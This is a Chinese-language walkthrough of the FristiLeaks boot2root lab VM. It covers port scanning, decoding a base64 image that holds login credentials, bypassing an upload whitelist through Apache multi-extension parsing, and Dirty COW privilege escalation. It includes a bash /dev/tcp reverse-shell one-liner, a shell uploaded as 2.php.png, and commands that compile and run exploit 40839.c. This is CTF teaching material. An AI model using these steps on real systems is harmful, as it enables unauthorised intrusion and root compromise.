当前位置: 首页 > news >正文

白名单过滤的文件上传如何bypass:boot2root靶机之fristileaks

靶机提示

base64解码提取图片 文件上传之apache多后缀名解析漏洞 linpeas dirtycow提权

靶机下载

通过网盘分享的文件:FristiLeaks_1.3.ova
链接: https://pan.baidu.com/s/1ZWznp8egNGwnQqwh1gkSZg?pwd=wwvp 提取码: wwvp 
--来自百度网盘超级会员v8的分享

主机发现

nmap -sn 192.168.8.0/24

端口扫描

tcp

只开了一个80端口,很少见

nmap -sT --min-rate 10000 -p- 192.168.8.177 

udp

没有开任何端口,看来只能盯着80端口打了

nmap -sU --top-ports=100 192.168.8.177

目录扫描

发现了robots.txt,尝试了一些目录扫描但是都没有发现可以深入的信息

dirb http://192.168.8.177


来点脑洞

ps:个人这边没有想到这个目录,扫了n遍目录,还在考虑图片隐写的问题。。。

提示去找url入口,也就是寻找目标目录,一般来说这个目录就很难用目录扫描出来。联想到首页几个超级大的字母,以及靶机名字,推测出目录为fristi

首页是个

入口

web渗透

查看前端源码
有一个tips,还有用户名

还有一段base64

base64解码提取

echo "iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==" |base64 -d > 1.png

是个图片

尝试登录

eezeepz/keKkeKKeKKeKkEkkEk

成功登录

文件上传漏洞

准备好反弹shell木马

白名单过滤

发现是白名单过滤,这个防护等级是比较高的,一般只有遇到apache几个解析漏洞才能绕过

apache换行解析漏洞

这个漏洞是配置不当导致的

<FilesMatch \.php$>SetHandler application/x-httpd-php
</FilesMatch>
前三行代码:将所有.php结尾的文件当做php文件进行解析。
$:正则表达式匹配字符串结束位置,若存在换行,则匹配换行符为结尾。这导致在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测
利用$和换行符可以绕过黑名单机制。

上传evil.php/x0A,放行数据包,访问上传的文件,要加%0A

apache多后缀解析漏洞
形成原因:配置apache时,对于apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的 conf/docker-php.conf里的配置命令(AddHandler application/x-httpd-php .php),该命令会将后缀中只要含有.php的文件都会被处理程序解析,这导致攻击者可通过多后缀绕过文件上传限制以.php结尾的机制,并使之被处理程序执行。
上传图片马

我们上传2.php.png,apache服务器看到有php结尾就会解析

访问2.php.png.成功反弹shell

横向渗透

敏感信息搜集

进入用户eezeepz的家目录,发现一个notes文件,提示/tmp有一个定时任务,每分钟执行一次runthis文件里面命令

写入反弹shell命令,但是没有反弹

/bin/bash -i >& /dev/tcp/192.168.8.148/4321 0>&1

脏牛提权

定时任务一直不执行反弹shell的命令,尝试一下linpeas,看看能不能脏牛提权

全称为Linux Privilege Escalation Awesome Script,是⼀个⽤来搜索类unix主机上可能
的提权路径的⾃动化脚本。
Github:https://github.com/carlospolop/privilege-escalation-awesome
scripts-suite/tree/master/linPEAS

攻击机开启文件服务

python -m http.server 8000

靶机下载linpeas.sh

linpeas启动

果然有脏牛提权漏洞

一般用40839.c

传输到靶机上

编译脚本提权

查看脚本用法
head -n 30 40839.c

按部就班提权
gcc -pthread 40839.c -o 40839 -lcrypt./40839 123456su firefart

提权

靶机总结

这台靶机入口找了半天,纯纯ctf脑洞题。。。很难想到入口是fristi,还在那边弄图片隐写,分析了半天。

但是入口进来之后,考了一个比较基础的base64解码;另外还考了一个文件上传的漏洞,这个apache多后缀名解析的漏洞,实战中确实是遇到过的,很有价值

最后提权部分,定时任务一直不能反弹shell,也弄了半天。。。,没有找到原因;但是脏牛提权还是很顺利的,这个技能需要熟练掌握

http://www.dtcms.com/a/344505.html

相关文章:

  • 基于 SkyWalking + Elasticsearch + Grafana 的可落地调用链监控方案
  • 易混淆的CommonJS和ESM(ES Module)及它们区别
  • 工控/医疗设备没有连接网络,贝锐向日葵Q1破解远程运维难题
  • 【ElasticSearch】IK分词器安装,配置修改,支持新增词组,中文常用mapping使用案例
  • Python 中 SQLAlchemy 和 MySQLdb 的关系
  • MongoDB 分片集群把非分片集合转成分片集合
  • MySQL 错误码
  • Flutter Provider 详解:从状态管理痛点到实战落地
  • Linux权限详解
  • 电子基石:硬件工程师的器件手册 (十三) - 电源管理IC:能量供给的艺术
  • 使用html+css+javascript练习项目布局--创建导航栏
  • 高并发场景数据与一致性的简单思考
  • 理解音频响度:LUFS 标准及其计算实现
  • 在灵码中配置MCP服务
  • Basic Threejs (2)
  • Unity中国小游戏行业沙龙:抖音小游戏平台分析与规划
  • Excel处理控件Aspose.Cells教程:使用Python将 Excel 转换为 NumPy
  • AWS OpenSearch 是什么
  • 复合设计模式
  • 阿里云详解:与 AWS、GCP 的全方位比较
  • openEuler系统中home文件夹下huawei、HwHiAiUser、lost+found 文件夹的区别和作用
  • 农业-学习记录
  • vue中监听页面滚动位置
  • Playwright进阶指南 (5):拦截与模拟网络请求
  • 【LLMs篇】19:vLLM推理中的KV Cache技术全解析
  • SymPy 中抽象函数的推导与具体函数代入
  • 《器件在EMC中的应用》---磁珠在EMC中的应用
  • 一次性密码(OTP)原理及应用
  • 解决 PyTorch 导入错误:undefined symbol: iJIT_NotifyEvent
  • 数据结构之深入探索快速排序